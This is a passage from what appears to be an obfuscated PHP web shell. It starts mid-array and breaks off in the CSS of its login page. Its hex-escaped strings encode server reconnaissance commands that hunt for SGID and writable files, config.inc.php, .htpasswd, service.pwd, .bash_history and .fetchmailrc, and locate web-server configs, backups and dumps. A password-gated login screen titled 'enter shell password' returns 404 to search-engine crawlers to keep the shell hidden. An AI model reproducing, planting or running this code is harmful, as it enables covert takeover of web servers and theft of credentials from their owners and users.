"\x66\151\156\x64\40\x73\147\151\144\40\146\x69\154\x65\x73\x20\x69\156\x20\143\165\162\x72\145\156\164\40\x64\x69\162" => "\x66\151\156\144\40\56\40\x2d\x74\x79\x70\145\40\146\x20\x2d\160\145\x72\x6d\x20\x2d\60\x32\60\x30\x30\40\55\x6c\163", "\x66\x69\x6e\144\40\x63\157\156\146\x69\x67\56\x69\x6e\143\56\x70\150\160\40\146\x69\154\x65\x73" => "\146\x69\156\144\40\x2f\x20\x2d\164\171\x70\145\40\x66\40\55\x6e\141\155\145\x20\x63\x6f\156\x66\x69\x67\56\151\x6e\143\56\160\x68\160", "\x66\151\156\144\40\143\x6f\x6e\146\x69\x67\x2a\40\x66\151\154\x65\x73" => "\x66\x69\x6e\144\x20\57\40\55\x74\x79\160\x65\40\146\x20\x2d\x6e\x61\x6d\x65\40\x22\143\x6f\x6e\x66\151\x67\52\42", "\146\151\156\x64\40\143\157\156\x66\x69\x67\52\40\x66\151\154\x65\163\x20\151\x6e\x20\x63\165\x72\162\145\156\164\x20\x64\x69\162" => "\146\151\x6e\x64\40\x2e\x20\55\x74\171\x70\x65\x20\146\40\x2d\x6e\x61\155\x65\x20\x22\x63\x6f\156\x66\151\x67\x2a\42", "\x66\151\156\x64\40\x61\x6c\154\x20\x77\162\151\164\141\142\154\x65\x20\x66\157\x6c\144\x65\x72\x73\40\141\156\x64\x20\146\151\x6c\145\x73" => "\x66\x69\156\144\x20\57\40\55\160\145\162\x6d\x20\x2d\x32\40\x2d\x6c\x73", "\x66\151\156\x64\40\141\154\x6c\x20\167\x72\x69\164\x61\142\x6c\x65\x20\x66\x6f\154\x64\145\162\163\x20\x61\156\144\x20\x66\151\154\145\163\40\151\x6e\40\143\x75\162\162\x65\156\164\x20\144\151\x72" => "\x66\x69\x6e\144\40\56\x20\x2d\160\x65\162\x6d\40\55\x32\x20\55\154\x73", "\x66\151\156\x64\40\x61\154\154\x20\x73\x65\162\166\x69\143\x65\56\x70\x77\144\x20\x66\151\x6c\x65\x73" => "\146\x69\156\x64\40\57\40\55\164\x79\160\145\x20\146\40\55\156\141\155\145\40\x73\x65\x72\166\151\143\x65\x2e\160\x77\x64", "\146\x69\x6e\144\x20\163\x65\162\x76\x69\x63\145\56\x70\x77\144\40\146\151\x6c\x65\163\40\x69\156\x20\143\165\162\162\x65\x6e\164\x20\x64\151\162" => "\x66\151\156\144\40\56\x20\x2d\164\171\x70\145\40\146\x20\x2d\156\141\x6d\x65\x20\x73\145\x72\166\151\143\145\x2e\x70\167\x64", "\146\151\156\x64\x20\141\x6c\x6c\40\x2e\x68\164\160\x61\163\163\x77\144\x20\x66\x69\x6c\145\x73" => "\x66\x69\156\144\x20\x2f\x20\55\x74\171\160\x65\40\x66\40\x2d\x6e\x61\155\145\x20\56\x68\164\160\x61\163\x73\x77\144", "\146\151\x6e\144\x20\56\x68\x74\x70\x61\163\163\167\x64\x20\146\151\x6c\x65\x73\40\x69\x6e\x20\143\x75\x72\x72\145\x6e\164\40\144\151\162" => "\146\151\156\144\x20\56\40\55\x74\171\160\x65\40\146\x20\x2d\x6e\x61\x6d\x65\x20\x2e\x68\164\160\x61\x73\x73\167\x64", "\146\x69\x6e\144\40\x61\x6c\154\40\56\x62\x61\163\150\137\x68\x69\x73\x74\157\x72\x79\x20\x66\x69\x6c\145\163" => "\146\x69\x6e\144\x20\x2f\x20\55\164\x79\160\x65\x20\146\40\x2d\x6e\x61\x6d\145\40\x2e\142\141\x73\150\137\150\x69\163\164\x6f\162\171", "\x66\151\x6e\x64\x20\56\x62\x61\x73\150\137\150\x69\x73\164\157\x72\x79\40\146\151\154\x65\163\x20\x69\x6e\x20\143\x75\162\x72\x65\x6e\164\40\144\x69\x72" => "\x66\151\156\x64\40\56\40\55\164\171\x70\145\x20\x66\x20\x2d\156\x61\155\145\x20\x2e\x62\x61\x73\x68\137\150\x69\x73\164\x6f\x72\171", "\146\x69\156\x64\40\141\154\154\x20\56\146\x65\x74\x63\x68\x6d\141\151\x6c\x72\143\x20\x66\151\x6c\x65\163" => "\x66\x69\x6e\144\40\57\x20\x2d\x74\x79\x70\145\40\x66\40\55\156\141\x6d\x65\40\56\x66\x65\164\143\150\x6d\141\151\x6c\162\x63", "\146\151\156\144\40\56\146\145\x74\x63\150\155\141\x69\154\x72\x63\x20\146\151\x6c\x65\x73\x20\x69\x6e\40\x63\x75\162\x72\x65\x6e\164\40\144\x69\162" => "\x66\151\156\x64\x20\56\x20\x2d\164\x79\x70\x65\x20\146\40\x2d\x6e\141\x6d\145\x20\56\x66\x65\164\x63\150\155\x61\x69\x6c\162\143", "\114\157\143\141\x74\145" => '', "\x6c\x6f\x63\x61\164\145\x20\x68\x74\x74\x70\x64\56\x63\157\156\x66\40\146\x69\x6c\x65\163" => "\x6c\x6f\x63\141\x74\x65\x20\x68\164\x74\x70\x64\56\143\x6f\x6e\x66", "\x6c\x6f\143\x61\164\145\40\x76\150\157\163\x74\x73\56\x63\x6f\x6e\146\40\x66\x69\x6c\x65\163" => "\154\x6f\143\x61\164\x65\x20\166\150\x6f\163\x74\163\56\143\157\156\146", "\x6c\157\143\141\x74\x65\x20\160\162\x6f\146\164\x70\x64\56\x63\157\x6e\x66\40\146\151\x6c\x65\x73" => "\154\157\143\141\x74\x65\x20\x70\x72\157\146\164\x70\x64\56\x63\157\x6e\x66", "\x6c\157\143\141\x74\x65\40\x70\x73\171\142\156\x63\56\x63\x6f\x6e\146\x20\x66\x69\x6c\x65\163" => "\x6c\x6f\143\x61\x74\145\x20\160\x73\171\x62\x6e\x63\x2e\143\157\x6e\146", "\x6c\x6f\x63\x61\x74\145\40\155\171\x2e\143\x6f\156\x66\x20\x66\x69\154\145\x73" => "\x6c\x6f\143\x61\x74\x65\40\x6d\171\x2e\x63\x6f\x6e\x66", "\154\157\143\x61\164\145\x20\x61\x64\x6d\151\156\56\x70\x68\160\40\146\x69\154\145\163" => "\x6c\x6f\143\141\x74\145\x20\x61\144\x6d\151\156\56\x70\x68\160", "\x6c\x6f\x63\141\164\145\x20\x63\146\x67\x2e\160\x68\160\x20\146\x69\154\x65\x73" => "\x6c\x6f\x63\x61\164\x65\40\143\146\147\56\x70\x68\160", "\x6c\x6f\143\141\164\x65\40\143\x6f\156\146\56\x70\x68\x70\40\x66\x69\154\x65\x73" => "\x6c\x6f\143\141\164\145\x20\x63\x6f\156\146\56\160\150\x70", "\154\x6f\143\x61\x74\145\40\x63\x6f\156\x66\x69\x67\56\144\141\164\40\x66\x69\x6c\145\163" => "\154\157\x63\141\164\x65\40\x63\x6f\x6e\146\x69\x67\x2e\x64\141\x74", "\154\157\x63\x61\x74\145\x20\143\x6f\156\x66\151\147\56\x70\x68\x70\40\x66\x69\x6c\145\163" => "\x6c\157\x63\141\x74\x65\x20\143\157\156\146\x69\x67\x2e\160\x68\x70", "\x6c\x6f\x63\x61\164\145\x20\x63\157\x6e\146\x69\147\x2e\151\x6e\143\x20\146\x69\x6c\x65\163" => "\x6c\x6f\143\141\164\145\40\x63\x6f\156\x66\x69\147\x2e\x69\x6e\143", "\x6c\157\x63\x61\x74\x65\40\x63\157\156\x66\x69\147\56\151\156\x63\56\x70\x68\x70" => "\x6c\x6f\143\x61\164\145\40\x63\157\156\146\151\147\56\x69\156\x63\56\x70\x68\160", "\154\157\143\x61\164\145\40\143\157\x6e\x66\151\147\x2e\144\x65\146\x61\165\154\164\x2e\x70\150\x70\40\146\151\x6c\145\163" => "\154\157\x63\x61\164\x65\x20\x63\x6f\x6e\146\x69\x67\x2e\144\145\x66\141\165\x6c\x74\56\160\x68\x70", "\x6c\157\143\141\x74\145\x20\143\x6f\156\146\x69\x67\52\40\x66\x69\x6c\x65\163\40" => "\154\x6f\x63\141\164\x65\40\143\x6f\156\146\x69\147", "\154\157\x63\141\164\145\x20\x2e\143\x6f\x6e\146\40\146\x69\154\x65\x73" => "\154\157\x63\x61\164\x65\x20\x27\56\143\157\x6e\x66\47", "\x6c\x6f\x63\141\x74\x65\40\x2e\160\x77\144\40\146\151\154\x65\x73" => "\x6c\157\143\x61\164\145\x20\47\56\160\x77\144\47", "\154\x6f\143\x61\164\x65\40\56\163\x71\154\40\x66\151\154\x65\163" => "\x6c\157\x63\x61\x74\x65\x20\x27\56\x73\161\154\47", "\x6c\157\143\x61\x74\x65\40\56\150\x74\160\x61\163\163\x77\x64\x20\x66\x69\x6c\145\x73" => "\154\x6f\x63\141\x74\x65\40\x27\56\150\x74\x70\x61\163\163\x77\144\x27", "\154\157\x63\141\x74\x65\x20\x2e\x62\x61\x73\150\x5f\x68\x69\x73\x74\157\x72\x79\40\x66\x69\154\145\x73" => "\154\x6f\143\x61\x74\145\x20\x27\x2e\x62\141\163\150\x5f\x68\x69\x73\x74\x6f\162\171\47", "\x6c\x6f\143\141\164\x65\x20\x2e\x6d\x79\163\161\154\137\150\x69\x73\164\x6f\162\171\x20\146\151\154\x65\163" => "\154\x6f\x63\x61\164\x65\40\x27\x2e\155\171\163\x71\154\x5f\150\151\163\164\157\x72\171\47", "\x6c\x6f\x63\x61\x74\x65\x20\56\146\x65\x74\143\x68\x6d\x61\x69\x6c\162\143\x20\x66\x69\x6c\145\163" => "\x6c\157\x63\141\x74\x65\40\x27\56\146\x65\x74\143\150\x6d\x61\x69\154\x72\x63\x27", "\x6c\157\143\x61\x74\145\40\142\x61\x63\153\165\160\40\146\151\x6c\145\163" => "\x6c\x6f\x63\141\164\145\40\142\x61\x63\153\165\x70", "\154\x6f\143\x61\x74\x65\40\144\x75\x6d\x70\x20\146\151\154\x65\163" => "\154\x6f\x63\x61\x74\145\x20\144\165\x6d\x70", "\x6c\x6f\x63\x61\164\x65\x20\160\162\151\166\40\x66\x69\154\145\163" => "\x6c\x6f\x63\141\164\x65\40\160\x72\x69\x76"); } goto g4e8Y; BamS6: function actionLogout() { setcookie(md5($_SERVER["\110\x54\x54\120\x5f\x48\x4f\123\x54"]), '', time() - 3600); die(header("\114\x6f\143\x61\164\151\x6f\x6e\72\40" . $_SERVER["\x50\x48\x50\137\x53\105\x4c\106"])); } goto qKevr; c6TnT: function hardLogin() { if (isset($_REQUEST["\x70\x61\163\163"]) && md5($_REQUEST["\x70\x61\163\163"]) != $password_shell) { $al = "\x3c\144\x69\x76\x20\x63\x6c\x61\163\163\75\42\141\154\x65\x72\164\40\x61\154\145\162\164\55\144\x61\x6e\147\x65\x72\40\x61\x6c\145\x72\x74\55\x64\x69\x73\155\x69\x73\163\x69\x62\x6c\x65\40\146\141\x64\145\40\x73\x68\157\x77\42\40\x72\157\154\145\75\x22\x61\154\x65\162\164\x22\x20\x73\x74\171\154\145\75\x22\142\x61\x63\x6b\x67\x72\x6f\x75\x6e\144\x3a\x20\162\147\142\x61\x28\x32\63\x34\x2c\40\70\x34\54\x20\70\65\x2c\40\60\56\62\x29\40\41\151\x6d\x70\157\162\164\141\156\164\73\xa\40\x20\x20\40\x63\157\154\x6f\x72\x3a\40\x23\105\x41\65\64\65\x35\x20\41\151\x6d\x70\x6f\x72\164\x61\x6e\164\x3b\142\157\x72\144\145\162\x2d\143\157\x6c\157\162\x3a\x20\x72\x67\x62\x28\x30\x20\60\x20\60\40\57\40\x38\x25\x29\x3b\142\157\162\x64\x65\162\55\162\x61\x64\151\x75\163\x3a\x20\x31\x30\x70\x78\x3b\42\x3e\xa\x20\40\40\x20\x20\12\x3c\163\x70\141\x6e\x3e\x49\156\143\x6f\x72\x72\145\143\164\x20\160\x61\x73\163\167\157\x72\144\41\x3c\57\x73\x70\141\x6e\x3e\12\x3c\x2f\144\x69\x76\76"; } if (!empty($_SERVER["\110\x54\x54\x50\137\x55\x53\x45\x52\137\101\107\105\116\x54"])) { $userAgents = array("\x47\157\157\x67\154\145", "\123\154\x75\x72\160", "\x4d\x53\116\x42\x6f\164", "\151\141\137\141\162\143\x68\151\x76\x65\x72", "\131\x61\156\144\x65\x78", "\122\141\x6d\x62\154\145\x72"); if (preg_match("\x2f" . implode("\174", $userAgents) . "\x2f\x69", $_SERVER["\110\124\x54\120\137\125\123\105\x52\x5f\101\107\105\116\124"])) { header("\x48\x54\x54\120\x2f\61\56\60\x20\64\60\x34\x20\x4e\157\164\x20\106\157\165\156\x64"); die; } } die("\74\x68\164\x6d\154\40\x6c\x61\x6e\147\75\42\145\156\x22\x3e\74\150\145\141\x64\x3e\xa\40\40\40\x20\xa\40\40\x20\40\12\40\x20\40\40\12\40\x20\x20\40\xa\x20\x20\x20\40\xa\x20\40\x20\40\xa\40\40\x20\x20\x3c\164\x69\x74\x6c\x65\76" . $_SERVER["\110\124\x54\x50\x5f\x48\x4f\x53\124"] . "\x20\55\40\x65\156\164\145\x72\x20\x73\150\145\154\154\40\160\141\163\163\167\157\162\144\x3c\x2f\164\151\164\x6c\145\x3e\12\40\40\x20\x20\12\40\40\x20\40\12\x20\40\40\x20\12\12\x20\40\40\x20\12\40\40\x20\40\12\40\x20\40\40\12\xa\x20\40\40\x20\x3c\154\151\x6e\153\x20\162\x65\x6c\75\42\x73\x68\157\x72\164\x63\165\164\x20\x69\x63\157\156\x22\42\x20\x68\x72\145\x66\75\42\150\164\164\160\163\72\57\57\x69\56\x69\155\x67\x75\x72\56\x63\157\x6d\57\x42\123\x77\112\60\121\x45\56\160\156\x67\42\x3e\xa\40\x20\40\x20\74\154\151\x6e\153\x20\x72\145\154\75\42\163\x74\171\154\145\163\x68\145\145\x74\42\40\x74\x79\x70\145\x3d\x22\164\145\170\x74\x2f\x63\163\x73\42\40\150\x72\145\146\75\x22\150\x74\164\160\x73\72\57\57\163\x74\141\x63\x6b\x70\x61\164\150\56\x62\x6f\157\x74\163\164\162\141\160\x63\x64\156\x2e\x63\x6f\155\57\142\x6f\157\164\x73\x74\162\x61\160\x2f\64\x2e\x35\56\x32\x2f\143\163\163\x2f\142\157\x6f\x74\163\x74\162\141\160\x2e\x6d\x69\156\x2e\143\x73\x73\42\76\12\40\x20\40\40\xa\x20\40\40\40\x20\74\x73\164\171\x6c\x65\x3e\xa\x20\40\x20\40\40\56\x61\165\164\x68\x2d\167\x72\x61\x70\x70\145\x72\40\x7b\12\x20\x20\x20\40\x20\40\40\x20\x64\151\163\160\154\141\171\x3a\40\x2d\167\145\142\153\x69\164\55\x62\x6f\170\x3b\xa\x20\40\40\x20\40\40\x20\40\x64\151\163\160\154\x61\171\72\x20\55\167\145\x62\153\151\164\x2d\146\154\145\x78\x3b\12\40\x20\40\x20\40\40\40\x20\144\x69\163\x70\x6c\x61\171\72\x20\55\155\163\55\x66\x6c\x65\170\142\x6f\x78\73\12\40\x20\40\x20\40\x20\x20\40\144\x69\163\160\x6c\x61\x79\x3a\x20\146\x6c\x65\170\x3b\12\40\x20\40\x20\x20\40\40\40\x2d\167\x65\142\153\151\x74\55\146\x6c\x65\x78\55\x62\x61\163\151\163\x3a\x20\x31\60\x30\x25\x3b\xa\x20\x20\x20\40\x20\x20\x20\x20\x2d\155\x73\55\x66\x6c\x65\x78\55\x70\162\145\146\x65\162\x72\145\x64\x2d\163\151\x7a\145\72\x20\x31\60\60\45\73\xa\x20\40\40\40\x20\40\40\x20\x66\x6c\145\x78\x2d\x62\x61\x73\x69\163\x3a\40\x31\60\60\45\73\12\40\40\x20\40\40\x20\40\40\x6d\x69\x6e\55\150\145\x69\x67\150\164\72\x20\x31\x30\x30\x76\150\73\12\x20\x20\40\40\x20\x20\x20\x20\x6d\151\x6e\x2d\x68\x65\x69\x67\150\164\x3a\40\143\x61\154\143\50\166\x61\x72\50\x2d\x2d\x76\x68\54\x20\61\166\150\51\40\52\40\x31\60\60\x29\x3b\xa\x20\x20\40\x20\x20\40\40\x20\x77\x69\x64\164\x68\x3a\40\x31\x30\x30\x25\12\175\12\12\56\141\165\x74\x68\55\x77\162\141\160\x70\145\162\x20\56\141\x75\x74\150\x2d\x69\156\x6e\x65\x72\x20\173\12\x20\x20\x20\40\x20\40\x20\40\167\151\x64\164\150\x3a\x20\61\x30\60\x25\x3b\xa\x20\x20\x20\x20\x20\x20\x20\x20\x70\157\163\x69\x74\151\x6f\156\72\x20\x72\145\x6c\x61\x74\151\166\x65\xa\x7d\xa\12\x2e\x61\x75\164\150\55\167\162\141\160\x70\x65\162\56\141\165\164\150\55\x76\x31\x20\173\12\x20\x20\x20\40\x20\40\x20\x20\55\x77\x65\x62\153\x69\164\x2d\142\157\170\55\141\x6c\x69\x67\156\x3a\x20\143\x65\x6e\x74\145\162\x3b\12\40\40\40\40\40\40\40\40\55\167\145\142\x6b\151\x74\x2d\x61\x6c\x69\147\x6e\x2d\151\164\x65\x6d\x73\x3a\x20\143\x65\156\x74\x65\162\x3b\12\x20\40\x20\40\x20\40\40\40\x2d\x6d\x73\x2d\146\154\x65\x78\x2d\141\x6c\151\147\x6e\72\40\x63\x65\156\x74\145\162\x3b\xa\40\40\x20\x20\40\40\40\x20\x61\x6c\151\x67\x6e\55\151\164\145\155\163\x3a\x20\143\145\156\x74\x65\162\x3b\12\40\40\x20\40\x20\x20\40\40\55\x77\x65\x62\153\151\x74\x2d\x62\x6f\x78\55\160\x61\143\153\72\40\x63\145\156\164\145\162\73\xa\x20\40\x20\x20\x20\x20\x20\x20\55\x77\x65\x62\153\151\x74\x2d\x6a\165\163\x74\151\146\x79\55\143\x6f\x6e\164\x65\x6e\x74\x3a\40\x63\x65\156\x74\145\x72\73\12\x20\x20\40\x20\x20\40\40\x20\55\155\x73\x2d\146\x6c\x65\170\x2d\x70\141\143\x6b\x3a\x20\143\x65\x6e\164\x65\162\x3b\xa\40\x20\40\x20\x20\40\40\x20\152\x75\163\164\151\146\171\x2d\143\x6f\x6e\164\x65\x6e\164\x3a\40\x63\145\x6e\164\145\x72\73\12\40\x20\40\x20\40\40\x20\x20\157\166\x65\162\x66\x6c\157\x77\72\x20\x68\x69\x64\x64\x65\x6e\12\175\12\12\x2e\141\165\x74\x68\55\x77\162\141\x70\x70\145\x72\56\141\165\164\150\x2d\x76\x31\x20\x2e\141\165\x74\150\55\151\x6e\156\x65\x72\72\142\145\x66\157\162\x65\40\173\12\x20\40\40\40\40\x20\40\40\x77\x69\x64\164\150\x3a\x20\x32\x34\x34\160\x78\x3b\xa\40\40\x20\x20\40\40\40\40\150\x65\x69\x67\150\164\72\40\x32\x34\63\x70\170\x3b\xa\x20\40\40\40\x63\157\156\x74\145\x6e\x74\x3a\x22\40\x22\73\12\x20\x20\x20\x20\x20\x20\x20\40\160\x6f\163\151\x74\151\x6f\156\x3a\x20\141\142\163\157\x6c\165\x74\x65\x3b\xa\x20\40\40\x20\40\x20\x20\40\x74\157\x70\x3a\40\55\65\x34\160\x78\73\12\40\x20\x20\40\40\40\40\x20\154\x65\146\x74\72\40\55\x34\66\160\170\73\xa\x20\40\40\x20\40\40\x20\x20\x62\x61\x63\153\x67\162\x6f\165\156\x64\x2d\151\x6d\141\147\145\72\40\x75\x72\154\x28\x64\141\164\141\72\151\x6d\x61\x67\145\x2f\160\x6e\x67\73\x62\x61\163\145\x36\64\x2c\x69\126\102\117\x52\x77\60\x4b\x47\147\x6f\x41\x41\101\101\x4e\123\125\x68\x45\125\x67\101\101\101\x50\x51\101\101\x41\x44\x7a\x43\x41\x4d\x41\x41\x41\x43\x47\x39\x4d\164\60\x41\x41\x41\x41\x41\130\116\123\122\x30\x49\101\162\163\x34\143\x36\x51\x41\101\101\x45\x52\x6c\x57\x45\154\155\x54\125\x30\101\x4b\x67\x41\x41\x41\x41\x67\101\101\131\144\x70\x41\101\121\101\x41\101\x41\102\101\101\x41\x41\107\147\101\x41\x41\x41\101\101\x41\x36\101\102\x41\x41\115\x41\x41\x41\101\102\x41\x41\x45\x41\101\x4b\x41\x43\101\101\x51\101\101\x41\x41\102\101\101\101\x41\71\x4b\101\x44\x41\x41\x51\x41\x41\101\101\102\x41\x41\x41\101\x38\167\101\101\x41\101\104\150\121\x48\146\125\101\101\101\x41\x79\126\x42\x4d\126\105\125\x41\x41\x41\104\x2f\x2f\57\x2b\x41\x67\x50\53\x41\147\120\x39\155\132\x76\53\x41\x67\116\127\x41\x67\120\71\x74\142\146\71\x67\131\x50\53\x41\x67\x50\x39\170\143\x66\71\x6d\x5a\x76\53\101\x5a\165\141\x41\x67\120\71\x64\x58\146\x39\x30\144\117\150\151\x59\x76\71\62\144\x76\71\x6d\x5a\165\65\x6d\x5a\166\x39\63\144\x2b\x35\x33\144\57\71\160\141\x66\x39\64\x61\146\103\x41\x63\x66\106\x72\130\166\112\162\x61\57\x39\155\x5a\x76\112\x7a\132\x76\112\x7a\143\x2f\112\157\x61\120\71\x36\142\x2f\x52\x71\x61\166\x39\x31\x61\165\160\x73\x59\166\126\62\142\117\x74\x32\x62\x50\126\x78\x61\x50\132\x37\143\146\x5a\161\141\x76\132\x79\x61\165\61\x77\141\x50\144\x34\141\x4f\71\170\141\x66\x42\x78\x61\x66\150\64\x61\x66\x42\61\142\x66\x68\64\141\166\x46\165\x5a\57\106\x32\141\x66\112\172\132\166\112\x7a\x5a\x2f\116\x30\141\x50\x4e\x30\142\x76\116\x33\142\x50\122\60\x61\145\x35\171\x5a\57\x52\63\x62\x65\71\x33\x62\146\x52\61\141\x75\x39\172\x61\146\102\170\x62\120\x56\172\x61\x76\126\x30\141\x2f\106\x30\x61\x2f\132\x79\x61\146\106\167\141\x50\113\132\x6d\63\x6e\124\101\101\101\x41\x51\63\x52\x53\x54\154\115\101\x41\x51\x49\105\102\121\x59\x47\x42\167\x67\x49\x43\x51\x6f\113\103\147\x73\114\104\121\x30\x50\x44\x77\x38\x50\x45\x52\105\x53\x45\x78\x4d\x55\106\102\121\127\x46\170\147\x59\x47\x68\x6f\x61\107\170\x73\x64\110\x53\101\147\111\x69\x49\x69\x49\x79\x51\x6c\x4a\x79\x67\x71\114\x43\167\164\x4c\151\70\166\114\x7a\x41\172\116\104\x55\x33\x4e\172\x67\67\x68\71\166\142\110\x67\101\x41\101\71\x52\112\x52\105\x46\x55\145\x4e\x72\164\63\x66\164\123\x32\153\101\x55\170\57\106\143\x31\x67\x53\x79\x57\163\105\162\x74\x75\x4a\x64\x52\x44\x51\151\151\164\145\157\154\142\67\57\x51\172\x55\x6f\124\155\60\x37\x6b\x34\x41\x7a\x4f\142\165\165\x33\57\115\x43\145\172\64\x35\x79\x57\142\172\x54\x33\x36\145\132\66\142\70\145\x72\117\x31\x65\61\102\x39\x37\x62\x61\141\x64\144\53\172\x6f\x63\112\x57\155\x67\60\110\141\130\145\x2f\x2b\x75\161\155\x67\x32\x47\x57\x74\153\114\x54\65\114\x6c\x65\x31\x6d\x39\114\144\150\x47\x32\x2b\x31\154\x76\x7a\165\151\x55\x4f\x31\153\x6e\x45\x46\x38\61\171\x46\143\61\116\x2b\63\65\155\x31\65\153\132\117\107\x6f\x64\x7a\x31\166\x79\114\x78\53\x76\x32\x4c\x73\x65\161\x2f\x65\x72\170\x74\x5a\x64\x2f\x4e\165\x77\145\x43\124\164\x66\x69\x77\141\x57\114\117\104\65\x46\156\x73\161\111\x37\x2b\126\156\x50\x33\171\70\141\146\156\x45\x73\x33\105\x73\x2f\61\53\110\x31\161\x76\x45\124\167\165\161\61\70\x42\67\145\66\126\154\167\x4c\165\160\61\x5a\x4d\70\x6b\127\127\x51\102\117\163\162\x6d\x48\x4c\67\107\126\x74\170\166\131\x52\x5a\x59\147\x51\x34\x79\167\x61\145\66\61\146\146\163\161\x48\x35\x4c\142\x71\62\x30\x62\121\155\x36\156\x63\160\71\x50\x32\145\150\x4a\x65\147\167\x45\x2f\165\x2b\x72\x6c\x39\x35\164\x74\x53\x77\x4c\162\x56\123\143\62\x41\x4e\145\x74\101\125\x32\x38\144\123\x61\71\x43\160\62\105\x36\62\63\142\x55\x47\x33\x64\x32\x56\x57\155\156\x2f\x77\x42\x71\x30\x58\103\x75\x67\x51\x59\115\x47\114\144\126\x4b\157\117\x4a\x61\x6f\x69\165\157\153\x31\x4e\x64\130\123\127\x31\x57\x41\125\146\122\120\x74\122\125\x6c\154\x66\154\x61\x4a\146\x35\132\105\57\117\x39\x70\130\x56\x62\132\125\x50\x54\x6f\166\65\143\53\x49\104\161\x76\x74\122\167\123\164\x64\x54\147\x4c\x75\164\x6f\170\171\x36\107\156\x47\x66\x59\142\62\157\53\61\111\x32\147\x64\x2b\x31\x4f\151\x71\172\x66\114\157\x63\166\126\105\67\x54\x53\x44\161\x47\x31\155\147\157\144\141\161\146\x51\x5a\142\166\132\x43\x39\162\x58\152\x71\107\x31\x58\x34\65\127\x7a\161\x46\x56\x4b\x56\160\x6b\60\x4c\x4c\x6f\64\x6c\107\x50\60\x5a\107\104\x36\x4b\147\x4d\x6e\x54\151\x49\124\x6b\x72\121\147\130\x59\x51\162\131\x4e\151\164\x48\111\123\162\131\162\122\163\132\x50\x6f\x75\x42\x68\x64\x63\x78\x4a\x64\x4b\60\x59\x6e\124\161\x4b\124\x59\x72\x52\x32\x45\x71\61\102\147\167\x59\x4e\107\x6a\x52\157\x30\113\x42\102\147\167\x59\x4e\x47\x6a\x52\x6f\x30\x4b\x42\x42\147\167\x59\x4e\x47\x6a\x52\157\x30\113\102\102\147\x77\131\116\x47\152\x52\157\60\113\x42\102\147\x77\x59\116\x47\x6a\x52\x6f\x30\x4b\x42\x42\x67\167\x59\116\107\x6a\122\157\60\x4b\102\x42\x67\167\131\116\x47\152\x52\157\x30\x4b\x42\x42\x67\x77\x59\x4e\x47\x6a\122\157\x30\113\102\x42\x67\x77\131\x4e\x47\152\x52\x6f\150\x39\104\x48\x35\x39\x61\147\70\x36\101\x43\157\123\131\x4f\114\66\61\x42\x35\x35\105\125\x51\x6b\x31\x73\63\126\x71\104\x7a\163\116\x48\150\x4a\160\131\145\x37\121\107\x6e\x63\146\115\123\x48\125\170\141\x6c\151\x43\110\147\143\113\123\130\126\x78\145\x57\x51\x4a\145\150\x77\x64\112\144\130\106\x34\144\101\x53\71\x44\147\x6b\x54\x4b\x71\114\170\165\151\142\106\x65\x69\130\117\104\151\170\116\x69\x37\117\162\x45\x43\57\x42\120\53\112\x74\x62\105\x30\127\162\131\x41\x2f\122\x72\x78\x4b\116\x66\x48\62\x59\125\x46\66\x4e\x65\147\x53\x62\x6b\x2b\107\x6b\70\x37\170\x74\x45\162\x4e\66\x45\x73\127\x6d\x38\70\146\172\x65\115\130\x70\x77\105\71\x45\x72\x75\114\156\x73\x2f\x6c\x34\x32\151\157\64\144\112\x46\x4c\120\157\62\57\x50\157\61\167\53\104\66\111\127\x37\164\71\x42\164\62\x53\120\x78\63\166\x4f\x4f\115\146\x53\67\145\x48\x56\132\164\x4e\x35\64\x75\154\147\x32\x67\157\x35\66\x31\x33\x38\103\164\x34\130\x52\x75\x6e\105\x32\x4f\166\x73\155\152\x67\x34\x36\x57\x65\144\144\x55\x6f\x55\x57\x72\x36\127\114\x30\146\103\157\x49\131\x67\x4f\62\57\62\163\x39\x31\x66\163\164\104\132\x51\x6a\x63\120\114\60\145\x50\x74\65\x66\x6c\160\x64\130\125\167\x71\127\64\x36\x75\115\162\123\x31\x6a\71\65\112\116\160\x51\x72\x57\x30\144\110\x70\71\x55\x56\57\x75\124\x32\x6d\x34\61\x36\57\x38\x48\126\x47\147\x33\x71\172\x68\160\102\x6a\122\x6f\x30\x4b\102\102\x67\x77\131\x4e\x47\x6a\x52\x6f\60\113\102\102\x67\167\x59\x4e\107\152\122\157\x30\113\102\102\147\167\x59\x4e\107\x6a\122\x6f\x30\113\102\x42\x67\167\x59\116\x47\152\x52\x6f\x30\x4b\102\102\x67\167\131\x4e\107\x6a\x52\157\x30\x4b\102\x42\x67\x77\131\x4e\x47\x6a\122\x6f\60\113\102\x42\x67\x77\131\x4e\107\152\x52\157\60\x4b\x42\x42\147\x77\x59\116\x47\152\122\157\60\x4b\102\102\x67\167\131\116\x47\152\x52\x6f\60\113\x43\57\106\104\x70\x78\60\x70\x77\x55\157\x32\164\117\157\155\x76\x46\66\x4e\150\x4a\x64\x46\171\115\x56\x6b\x36\x69\x56\124\x45\66\143\102\111\x64\145\x46\x39\166\x4a\x79\166\132\x78\57\111\57\101\172\165\111\x6a\163\x72\x51\x76\157\116\x6f\x76\x77\x7a\164\x34\x46\x61\x6d\x53\x73\60\x4f\152\162\160\x38\60\120\155\166\157\x42\x30\x7a\150\x39\64\60\160\142\67\x61\172\x66\x31\x79\x67\67\164\x30\114\x49\164\71\67\70\165\x70\x70\172\x62\156\x61\154\x66\x75\143\104\x57\71\62\x5a\x6e\144\x4c\x50\122\x6d\x4b\167\x65\107\x50\144\x75\131\x4a\53\172\157\115\x35\57\104\x6b\x2b\x67\x44\x35\116\144\166\x4c\150\x58\130\x50\160\70\70\161\143\x55\161\155\x45\x48\65\107\x35\112\x5a\x52\x73\x36\143\165\x78\x77\111\x41\101\101\101\x41\105\154\106\x54\153\123\165\121\155\103\103\51\12\x7d\12\xa\56\x61\x75\164\x68\55\x77\x72\141\x70\x70\145\x72\56\141\165\x74\x68\x2d\166\61\40\x2e\141\165\164\150\55\151\156\156\x65\x72\72\141\146\x74\x65\x72\x20\173\xa\40\40\x20\x20\40\x20\x20\40\x77\151\144\164\150\72\40\x32\67\x32\x70\x78\x3b\12\x20\40\x20\x20\40\x20\x20\x20\150\x65\x69\147\150\164\x3a\40\62\x37\x32\160\x78\73\xa\x20\40\40\x20\143\x6f\x6e\x74\145\x6e\164\x3a\42\x20\x22\73\12\40\x20\x20\40\40\40\x20\x20\160\x6f\x73\x69\x74\x69\x6f\x6e\72\x20\x61\x62\x73\x6f\154\165\164\x65\73\xa\40\x20\40\40\40\40\x20\x20\142\x6f\164\x74\157\155\72\40\55\65\x35\160\x78\73\xa\x20\40\40\40\x20\40\40\x20\x72\x69\x67\x68\164\x3a\40\x2d\x37\